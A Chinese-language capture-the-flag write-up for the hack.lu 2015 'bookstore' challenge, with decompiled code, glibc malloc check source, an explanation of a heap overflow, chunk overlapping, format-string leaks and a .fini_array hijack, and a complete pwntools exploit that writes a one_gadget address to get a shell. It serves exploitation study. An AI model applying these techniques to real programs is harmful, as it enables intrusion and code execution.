CTF-PWN-堆-【chunk extend/overlapping-2】(hack.lu ctf 2015 bookstore)

文章目录

  • hack.lu ctf 2015 bookstore
  • 检查
  • IDA源码
      • main函数
      • edit_note
      • delete_note
      • submit
    • .fini_array段劫持(回到main函数的方法)
  • 思路
    • 格式化字符串是啥呢
    • 0x开头或者没有0x开头的十六进制的字符串或字节的转换为整数
    • 构造格式化字符串的其他方法
  • exp

佛系getshell
常规getshell

hack.lu ctf 2015 bookstore

检查

got表可写,没有地址随机化(PIE)
在这里插入图片描述

IDA源码

C 库函数 char *gets(char *str) 从标准输入 stdin 读取一行,并把它存储在 str 所指向的字符串中。当读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。

C 库函数 int puts(const char *str) 把一个字符串写入到标准输出 stdout,直到空字符,但不包括空字符。换行符会被追加到输出中。

main函数

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-BCh]
  char *v5; // [rsp+8h] [rbp-B8h]
  char *first_order; // [rsp+18h] [rbp-A8h]
  char *second_order; // [rsp+20h] [rbp-A0h]
  char *dest; // [rsp+28h] [rbp-98h]
  char s[136]; // [rsp+30h] [rbp-90h] BYREF
  unsigned __int64 v10; // [rsp+B8h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  first_order = (char *)malloc(0x80uLL);
  second_order = (char *)malloc(0x80uLL);
  dest = (char *)malloc(0x80uLL);
  if ( !first_order || !second_order || !dest )
  {
    fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
    return 1LL;
  }
  v4 = 0;
  puts(
    " _____          _   _                 _          _                   _ \n"
    "/__   \\_____  _| |_| |__   ___   ___ | | __  ___| |_ ___  _ __ ___  / \\\n"
    "  / /\\/ _ \\ \\/ / __| '_ \\ / _ \\ / _ \\| |/ / / __| __/ _ \\| '__/ _ \\/  /\n"
    " / / |  __/>  <| |_| |_) | (_) | (_) |   <  \\__ \\ || (_) | | |  __/\\_/ \n"
    " \\/   \\___/_/\\_\\\\__|_.__/ \\___/ \\___/|_|\\_\\ |___/\\__\\___/|_|  \\___\\/   \n"
    "Crappiest and most expensive books for your college education!\n"
    "\n"
    "We can order books for you in case they're not in stock.\n"
    "Max. two orders allowed!\n");
LABEL_14:
  while ( !v4 )
  {
    puts("1: Edit order 1");
    puts("2: Edit order 2");
    puts("3: Delete order 1");
    puts("4: Delete order 2");
    puts("5: Submit");
    fgets(s, 128, stdin);
    switch ( s[0] )
    {
      case '1':
        puts("Enter first order:");
        edit_order(first_order);
        strcpy(dest, "Your order is submitted!\n");
        goto LABEL_14;
      case '2':
        puts("Enter second order:");
        edit_order(second_order);
        strcpy(dest, "Your order is submitted!\n");
        goto LABEL_14;
      case '3':
        delete_order(first_order);
        goto LABEL_14;
      case '4':
        delete_order(second_order);
        goto LABEL_14;
      case '5':
        v5 = (char *)malloc(0x140uLL);
        if ( !v5 )
        {
          fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
          return 1LL;
        }
        submit(v5, first_order, second_order);
        v4 = 1;
        break;
      default:
        goto LABEL_14;
    }
  }
  printf("%s", v5);
  printf(dest);
  return 0LL;
  
}

功能选择前就已经先创建三个大小为0x80的堆了(对于chunk的size为0x90),第一个chunk是order1的内容,第二个chunk是order2的内容,第三个chunk是dest的内容(这个存储字符串的),然后根据输入对应其功能函数,对应功能5的函数会创建一个0x140的堆(对于chunk的size为0x150),然后把之前函数定义的两个order的内容组合再加一个Your order is submitted!\n的字符串

edit_note

unsigned __int64 __fastcall edit_order(char *a1)
{
  int idx; // eax
  int v3; // [rsp+10h] [rbp-10h]
  int cnt; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v3 = 0;
  cnt = 0;
  while ( v3 != '\n' )
  {
    v3 = fgetc(stdin);
    idx = cnt++;
    a1[idx] = v3;
  }
  a1[cnt - 1] = 0;
  return __readfsqword(0x28u) ^ v5;
}

没有限制的输入长度,可以一直输入直到有换行符,并将换行符改为0

delete_note

unsigned __int64 __fastcall delete_order(void *a1)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  free(a1);
  return __readfsqword(0x28u) ^ v2;
}

直接free但是没有清空,存在use after free

submit

unsigned __int64 __fastcall submit(char *all, const char *order1, char *order2)
{
  size_t v3; // rax
  size_t v4; // rax
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  strcpy(all, "Order 1: ");
  v3 = strlen(order1);
  strncat(all, order1, v3);
  strcat(all, "\nOrder 2: ");
  v4 = strlen(order2);
  strncat(all, order2, v4);
  *(_WORD *)&all[strlen(all)] = '\n';
  return __readfsqword(0x28u) ^ v7;
}

提交,此时将各个order的字符串和使用功能1或2时就已经赋值到dest里的字符串内容组合,再赋值到dest

.fini_array段劫持(回到main函数的方法)

.fini_array段劫持资料参考

大多数可执行文件是通过链接 libc 来进行编译的,因此 gcc 会将 glibc 初始化代码放入编译好的可执行文件和共享库中。 .init_array和 .fini_array 节(早期版本被称为 .ctors和 .dtors )中存放了指向初始化代码和终止代码的函数指针。 .init_array 函数指针会在 main() 函数调用之前触发。这就意味着,可以通过重写某个指向正确地址的指针来将控制流指向病毒或者寄生代码。 .fini_array 函数指针在 main() 函数执行完之后才被触发,在某些场景下这一点会非常有用。例如,特定的堆溢出漏洞(如曾经的 Once upon a free())会允许攻击者在任意位置写4个字节,攻击者通常会使用一个指向 shellcode 地址的函数指针来重写.fini_array 函数指针。对于大多数病毒或者恶意软件作者来说, .init_array 函数指针是最常被攻击的目标,因为它通常可以使得寄生代码在程序的其他部分执行之前就能够先运行。

构造函数(constructors)和析构函数(destructors)。程序员应当使用类似下面的方式来指定这些属性:

带有”构造函数”属性的函数将在main()函数之前被执行,而声明为”析构函数”属性的函数则将在after main()退出时执行。

#include <stdio.h>
#include <stdlib.h>

static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));

int main(int argc, char *argv[])
{
    printf("start == %p\n", start);
    printf("stop == %p\n", stop);
    return 0;
}

void start(void)
{
    printf("hello world!\n");
}

void stop(void)
{
    printf("goodbye world!\n");
}

在这里插入图片描述
在gdb中利用readelf查看对应的.ini_array段和.fini_array段,以及存储的函数指针
在这里插入图片描述
分析一下结果
.init_array存的 0x1160是 frame_dummy函数地址(ida里面可查看) 0x11bf,是自己定义的start函数的地址,也就是说main函数开始之前会先执行 frame_dummy函数和start函数

.fini_array存的 0x1120是 __do_global_dtors_aux函数地址(ida里面可查看) 0x11d9,是自己定义的stop函数的地址,也就是说main函数结束之后会执行 __do_global_dtors_aux函数和stop函数

假设此时取消定义的属性

#include <stdio.h>
#include <stdlib.h>

static void start(void) ;
static void stop(void) ;

int main(int argc, char *argv[])
{
    printf("start == %p\n", start);
    printf("stop == %p\n", stop);
    return 0;
}

void start(void)
{
    printf("hello world!\n");
}

void stop(void)
{
    printf("goodbye world!\n");
}

此时.ini_array和.fini_array都只有一个函数指针,.ini_array是 frame_dummy函数地址(ida里面可查看),fini_array是 __do_global_dtors_aux函数地址(ida里面可查看)
在这里插入图片描述

思路

明显溢出,而且长度任意,那么可以修改其他chunk的header和内容
如图,利用editor 2时写入0x80个字节覆盖满chunk2,多余的内容覆盖到chunk3的header处从而修改
在这里插入图片描述
但是我们先要得到libc地址,那么得得到相关函数地址才行

发现有个格式化字符串漏洞,但是在循环外,也就必须submit后才会执行该函数。又因为editor修改会在dest的位置复制一个字符串,所以当溢出设置格式化字符串时要提前空出这个后面要复制的字符串的长度。然后才是格式化字符串。但此时发现优于strcpy时会将空字符也复制进入,所以导致后面的内容无效,所以此方法还是不行。还得是再次找到机会重写dest

此时需要利用到chunk extend方法了
先free第二个堆,再修改第一个堆溢出从而修改第二个堆的header,然后调用submit使得malloc。当然也可以先修改第一个堆溢出修改第二个堆的header,然后free第二个堆,然后调用submit使得malloc
这样能够submit得到的堆是第二个堆,并且其大小覆盖到了dest这个堆,从而可以修改格式化字符串

free之前对chunk做各种check,总而言之就是不能double free和通过size计算的下一个chunk的得确实是一个malloc得到的chunk,那malloc时,会对该unsortedbin中的chunk的前后做合并尝试,首先通过prev_inuse来决定是否先前合并,如果为1即可不合并,同样,如果下一个chunk正在被使用的话,就没有向后合并的操作了(检查下一个chunk的下一个chunk的prev_inuse位)

所以此时溢出的prev_size大小为0也不影响,如果先free的话,这些free前的检查都不用考虑,只需如何修改使得malloc得到0x140的堆为第二个chunk,但如果是先修改再free,此时面对的各个检查比较繁琐,还需构造下一个chunk,所以采用先free再修改,此时对应的从unsortedbin的remalloc

if (size == nb)
{
    set_inuse_bit_at_offset (victim, size);
    if (av != &main_arena)
        victim->size |= NON_MAIN_ARENA;
    check_malloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
# define check_malloced_chunk(A, P, N)   do_check_malloced_chunk (A, P, N)
static void
do_check_malloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{
  /* same as recycled case ... */
  do_check_remalloced_chunk (av, p, s);

  /*
     ... plus,  must obey implementation invariant that prev_inuse is
     always true of any allocated chunk; i.e., that each allocated
     chunk borders either a previously allocated and still in-use
     chunk, or the base of its memory arena. This is ensured
     by making all allocations from the `lowest' part of any found
     chunk.  This does not necessarily hold however for chunks
     recycled via fastbins.
   */

  assert (prev_inuse (p));
}
static void
do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{
  INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);

  if (!chunk_is_mmapped (p))
    {
      assert (av == arena_for_chunk (p));
      if (chunk_non_main_arena (p))
        assert (av != &main_arena);
      else
        assert (av == &main_arena);
    }

  do_check_inuse_chunk (av, p);

  /* Legal size ... */
  assert ((sz & MALLOC_ALIGN_MASK) == 0);
  assert ((unsigned long) (sz) >= MINSIZE);
  /* ... and alignment */
  assert (aligned_OK (chunk2mem (p)));
  /* chunk is less than MINSIZE more than request */
  assert ((long) (sz) - (long) (s) >= 0);
  assert ((long) (sz) - (long) (s + MINSIZE) < 0);
}

/*
   Properties of nonrecycled chunks at the point they are malloced
 */



static void
do_check_inuse_chunk (mstate av, mchunkptr p)
{
  mchunkptr next;

  do_check_chunk (av, p);

  if (chunk_is_mmapped (p))
    return; /* mmapped chunks have no next/prev */

  /* Check whether it claims to be in use ... */
  assert (inuse (p));

  next = next_chunk (p);

  /* ... and is surrounded by OK chunks.
     Since more things can be checked with free chunks than inuse ones,
     if an inuse chunk borders them and debug is on, it's worth doing them.
   */
  if (!prev_inuse (p))
    {
      /* Note that we cannot even look at prev unless it is not inuse */
      mchunkptr prv = prev_chunk (p);
      assert (next_chunk (prv) == p);
      do_check_free_chunk (av, prv);
    }

  if (next == av->top)
    {
      assert (prev_inuse (next));
      assert (chunksize (next) >= MINSIZE);
    }
  else if (!inuse (next))
    do_check_free_chunk (av, next);                       这个检查应该使得无法利用的,不知道为啥可以利用成功
}

可以发现下一个chunk的inuse位为0
下一个chunk应该是不能通过do_check_free_chunk (av, next);
不知道为啥
在这里插入图片描述




static void
do_check_chunk (mstate av, mchunkptr p)
{
  unsigned long sz = chunksize (p);
  /* min and max possible addresses assuming contiguous allocation */
  char *max_address = (char *) (av->top) + chunksize (av->top);
  char *min_address = max_address - av->system_mem;

  if (!chunk_is_mmapped (p))
    {
      /* Has legal address ... */
      if (p != av->top)
        {
          if (contiguous (av))
            {
              assert (((char *) p) >= min_address);
              assert (((char *) p + sz) <= ((char *) (av->top)));
            }
        }
      else
        {
          /* top size is always at least MINSIZE */
          assert ((unsigned long) (sz) >= MINSIZE);
          /* top predecessor always marked inuse */
          assert (prev_inuse (p));
        }
    }
  else
    {
      /* address is outside main heap  */
      if (contiguous (av) && av->top != initial_top (av))
        {
          assert (((char *) p) < min_address || ((char *) p) >= max_address);
        }
      /* chunk is page-aligned */
      assert (((p->prev_size + sz) & (GLRO (dl_pagesize) - 1)) == 0);
      /* mem is aligned */
      assert (aligned_OK (chunk2mem (p)));
    }
}

static void
do_check_free_chunk (mstate av, mchunkptr p)
{
  INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);
  mchunkptr next = chunk_at_offset (p, sz);

  do_check_chunk (av, p);

  /* Chunk must claim to be free ... */
  assert (!inuse (p));
  assert (!chunk_is_mmapped (p));

  /* Unless a special marker, must have OK fields */
  if ((unsigned long) (sz) >= MINSIZE)
    {
      assert ((sz & MALLOC_ALIGN_MASK) == 0);
      assert (aligned_OK (chunk2mem (p)));
      /* ... matching footer field */
      assert (next->prev_size == sz);
      /* ... and is fully consolidated */
      assert (prev_inuse (p));
      assert (next == av->top || inuse (next));

      /* ... and has minimally sane links */
      assert (p->fd->bk == p);
      assert (p->bk->fd == p);
    }
  else /* markers are always of size SIZE_SZ */
    assert (sz == SIZE_SZ);
}

格式化字符串是啥呢

这里利用输入时fgetc会输入空字符得特点和字符串相关函数遇到空字符结束的特点,使得最好输入的内容正好在格式化字符串参数的位置

此时对应的submit的结果:Order 1: 内容\nOrder 2: Order 1: 内容\nOrder 2: \n
我们的目的是达到第二个内容在dest的位置

此时首先为了达到溢出到修改节点2的header的位置需要将字符填满有0x80,而为了保证第二个内容在dest的位置,此时又得保证(Order 1: 内容\nOrder 2: Order 1: )这前面的内容有0x90,由于此时内容就有0x90个字节(0x80+chunk头0x10),所以由于字符串函数遇到空字符结束的特点,可以在内容中存在空字符来使得其截止

程序退出后会执行.fini_array地址处的函数,不过只能利用一次。

这里利用到malloc(0x150)得到的chunk依然是order2,而submit中第一次复制是将order1复制到order2里,然后又将order2的内容复制到order2中,这样超过0x80的部分就是格式字符串的内容了

此时格式化字符串是要泄露栈上libc_start_main函数的地址和修改fini_array的内容和泄露栈上某个与第二次调用printf格式化字符串漏洞的有固定偏移的栈地址
在这里插入图片描述

格式化字符串构造好后,在输入功能选项5后加上fini_array的地址,然后找到输入位置和printf参数的偏移,最后修改地址并泄露地址

最后第二次格式化字符串的时候修改返回地址为onegadget函数地址(方法与第一次类似,返回地址在栈上的位置与之前泄露的栈地址有固定偏移)

当替换到返回地址为onegadget地址后,当执行到onegadget后会发现rax已经是NULL,所以不需要清零了
在这里插入图片描述

0x开头或者没有0x开头的十六进制的字符串或字节的转换为整数

int(字符串,16)

构造格式化字符串的其他方法

可以通过多个+号来串联

b"%"+one+b"c%13$hhn"+b"%"+two+b"c%14$hn"

exp

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
p=process("./books")
#gdb.attach(p,"b main")
f=ELF("./books")
free_got=f.got["free"]

def editor1(content):
    p.sendlineafter(b"5: Submit\n",str(1))
    p.sendlineafter(b"Enter first order:\n",content)

def editor2(content):
    p.sendlineafter(b"5: Submit\n",str(2))
    p.sendlineafter(b"Enter second order:\n",content)

def delete1():
    p.sendlineafter(b"5: Submit\n",str(3))

def delete2():
    p.sendlineafter(b"5: Submit\n",str(4))

def submit(content):
    p.sendlineafter(b"5: Submit\n",content)


delete2()
payload=b"%10c%13$hhn%47c%14$hhn" #修改fini的内容
payload=payload+b"function:%31$p stack:%33$p"    # 泄露栈顶地址和函数地址

# p 0x7ffdb2339578-0x7ffdb23393c8 $1 = 0x1b0
#p 0x7ffdb23393c8- 0x7ffdb23392b8 $5 = 0x110



payload=payload+b'a'*(0x90-28-len(payload))
payload=payload+b"\x00"*(0x80-len(payload))+p64(0)+p64(0x151)
# Order 1: 内容\nOrder 2: Order 1: 内容\nOrder 2: \n
editor1(payload)

fini_addr=0x6011b8
submit(b'5'+7*p8(0x0)+p64(fini_addr+1)+p64(fini_addr))
#0x7fffe0688210-0x7fffe06881e0  0x0000000000400830  0x400a39


p.recvuntil(b"stack")
p.recvuntil(b"stack")
p.recvuntil(b"function:")
libc_start_main=p.recvuntil(b" ")[:-1]
libc_start_main=int(libc_start_main,16) # 将0x形式的字符串转化数字

p.recvuntil(b"stack:")
stack_addr=p.recvuntil(b"a")[:-1]
stack_addr=int(stack_addr,16)


libc_start_main=libc_start_main-240
libc_addr=libc_start_main-0x20750
stack_addr=stack_addr-0x1b0-0x110 +208
onegadget_addr=libc_addr+0x45226

print("libc_start_main",hex(libc_start_main))
print("libc_addr",hex(libc_addr))
print("stack_addr",hex(stack_addr)) 

change46=hex(onegadget_addr)[-6:-4]
change46=int(change46,16)
print(hex(change46))
change14=hex(onegadget_addr)[-4:]
change14=int(change14,16)
print(hex(change14))
two=bytes(str(change14-change46),"ascii")
one=bytes(str(change46),"ascii")


delete2()
print(one)
print(two)
payload=b"%"+one+b"c%13$hhn"+b"%"+two+b"c%14$hn"

payload=payload+b'a'*(0x90-28-len(payload))
payload=payload+b"\x00"*(0x80-len(payload))+p64(0)+p64(0x151)
# Order 1: 内容\nOrder 2: Order 1: 内容\nOrder 2: \n
editor1(payload)


submit(b'5'+7*p8(0x0)+p64(stack_addr+2)+p64(stack_addr))

p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/377110.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【maven相关问题】Could not transfer artifact ...与Transfer failed for ...报错及解决办法

一、问题描述 拉取一个新项目后&#xff0c;maven解析下载文件时出现如下报错信息&#xff1a; 二、错误原因分析 提示信息是传输失败&#xff0c;无法传输的原因应该是出现错误的包文件夹已经缓存在本地存储库中&#xff0c;然后maven在经过发布的更新间隔或强制进行更新之前…

深入了解Spring Expression Language(SpEL)

深入了解Spring Expression Language&#xff08;SpEL&#xff09; Spring Expression Language&#xff08;SpEL&#xff09;是Spring框架中强大的表达式语言&#xff0c;它在运行时提供了一种灵活的方式来评估字符串表达式。SpEL的设计目标是在各种Spring配置和编程场景中提供…

Go语言每日一练链表篇(二)

传送门 牛客面试笔试必刷101题 ---------------- 链表内指定区间反转 题目以及解析 题目 解题代码及解析 package main import _"fmt" import . "nc_tools" /** type ListNode struct{* Val int* Next *ListNode* }*//*** 代码中的类名、方法名、参…

PyTorch 2.2 中文官方教程(七)

使用 torchtext 库进行文本分类 原文&#xff1a;pytorch.org/tutorials/beginner/text_sentiment_ngrams_tutorial.html 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 注意 点击这里下载完整示例代码 在本教程中&#xff0c;我们将展示如何使用 torchtext 库构建文…

识别CMS指纹与WAF识别

目录 识别CMS指纹 1 什么是CMS指纹&#xff1f; 2 常见的CMS指纹 3 识别CMS指纹的方法有哪些&#xff1f; &#xff08;1&#xff09;分析HTTP响应头&#xff0c;识别CMS的特定标头。 &#xff08;2&#xff09;通过配置文件/特殊文件 &#xff08;3&#xff09;分析网站…

【Linux】命令行解释器脚本编写

&#x1f440;樊梓慕&#xff1a;个人主页 &#x1f3a5;个人专栏&#xff1a;《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》《C》《Linux》《算法》 &#x1f31d;每一个不曾起舞的日子&#xff0c;都是对生命的辜负 目录 前言 1.简单了解命令行解…

设计师常用的软件有哪些?推荐5款设计工具

设计软件的使用对设计师来说非常重要。设计工具的使用是否直接影响到最终结果的质量&#xff0c;然后有人会问&#xff1a;设计需要使用什么软件&#xff1f;这里有一些设计师和那些对设计感兴趣的朋友列出了五个有用的设计工具。 1、即时设计 即时设计操作简单&#xff0c;内…

Unity制作随风摇摆的植物

今天记录一下如何实现随风摇摆的植物&#xff0c;之前项目里面的植物摇摆实现是使用骨骼动画实现的&#xff0c;这种方式太消耗性能&#xff0c;植物这种东西没必要&#xff0c;直接使用顶点动画即可。 准备 植物不需要使用标准的PBR流程&#xff0c;基础的颜色贴图加上法向贴…

leetcode 算法 69.x的平方根(python版)

需求 给你一个非负整数 x &#xff0c;计算并返回 x 的 算术平方根 。 由于返回类型是整数&#xff0c;结果只保留 整数部分 &#xff0c;小数部分将被 舍去 。 注意&#xff1a;不允许使用任何内置指数函数和算符&#xff0c;例如 pow(x, 0.5) 或者 x ** 0.5 。 示例 1&#…

跳过mysql5.7密码并重置密码 shell脚本

脚本 目前只是验证了5.7 版本是可以的&#xff0c;8.多的还需要验证 以下是一个简单的Shell脚本&#xff0c;用于跳过MySQL密码设置并重置密码&#xff1a; #!/bin/bash yum install psmisc -y# 停止MySQL服务 sudo service mysqld stop# 跳过密码验证 sudo mysqld --skip-g…

算法学习(一)排序

排序 1. 概念 排序算法是《数据结构与算法》中最基本的算法之一。 排序算法可以分为内部排序和外部排序&#xff0c;内部排序是数据记录在内存中进行排序&#xff0c;而外部排序是因排序的数据很大&#xff0c;一次不能容纳全部的排序记录&#xff0c;在排序过程中需要访问外…

Java学习16-- 面向对象学习45. 面向对象三大特征抽象类和接口

面向对象学习4. 面向对象三大特征 1封装&#xff1a;高内聚(内部细节自己用&#xff0c;外部不能介入)&#xff0c;低耦合(保留很少接口给外部使用)&#xff0c;信息隐藏&#xff08;禁止外界直接访问内部数据(private)&#xff0c;如需要&#xff0c;可通过get/set接口访问&a…

【办公技巧】如何设置Word文档部分内容无法编辑?

工作中&#xff0c;我们可能会在word中制作一些请柬、表格之类的&#xff0c;有些文件内容不想要进行修改&#xff0c;为了防止他人随意修改内容。我们可以设置限制编辑&#xff0c;可以对一部分内容设置限制编辑&#xff0c;具体方法如下&#xff1a; 我们将需要将可以编辑的…

centos7 安装mysql8

下载mysql wget https://cdn.mysql.com//Downloads/MySQL-8.0/mysql-8.0.36-1.el7.x86_64.rpm-bundle.tar解压安装 tar xvf mysql-8.0.36-1.el7.x86_64.rpm-bundle.tar yum -y localinstall *.rpm初始化 mysqld --initialize --usermysql需要选择mysql用户&#xff0c;否则可…

HARRYPOTTER: NAGINI

攻击机 192.168.223.128 目标机 192.168.223.145主机发现 nmap -sP 192.168.223.0/24 端口扫描 nmap -sV -p- -A 192.168.223.145 开启了22 80端口 先看一下web界面 跟系列1一样是一张图片 看一下源码 没东西 看一下robots.txt 也没东西 再扫一下目录吧 gobuster dir…

用通俗易懂的方式讲解:一文搞懂大模型 Prompt Engineering(提示工程)

本文将从提示工程的本质、提示工程的原理、提示工程的应用三个方面&#xff0c;带您一文搞懂提示工程 Prompt Engineering 。 文末精选通俗易懂的方式讲解系列&#xff0c;如果你喜欢技术交流&#xff0c;文末可以加入 文章目录 提示工程的本质提示工程的原理提示工程的应用技…

常见的 MIME(媒体)类型速查

一、简介 MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型&#xff0c;是设定某种扩展名的文件用一种应用程序来打开的方式类型&#xff0c;当该扩展名文件被访问的时候&#xff0c;浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文…

java程序jar包xjar加密及破解解密

超短连接转换j1z.cc&#xff08;永久有效&#xff09; 背景 项目要部署到第三方服务器上&#xff0c;于是研究了一下jar包加密的方式&#xff0c;其中在github上有一个项目XJar&#xff0c;挺多使用用户&#xff0c;也搜到了破解的教程&#xff0c;于是研究了一下。详细说下如…

实战分享:SpringBoot在创新创业项目管理中的应用

✍✍计算机编程指导师 ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡ Java实战 |…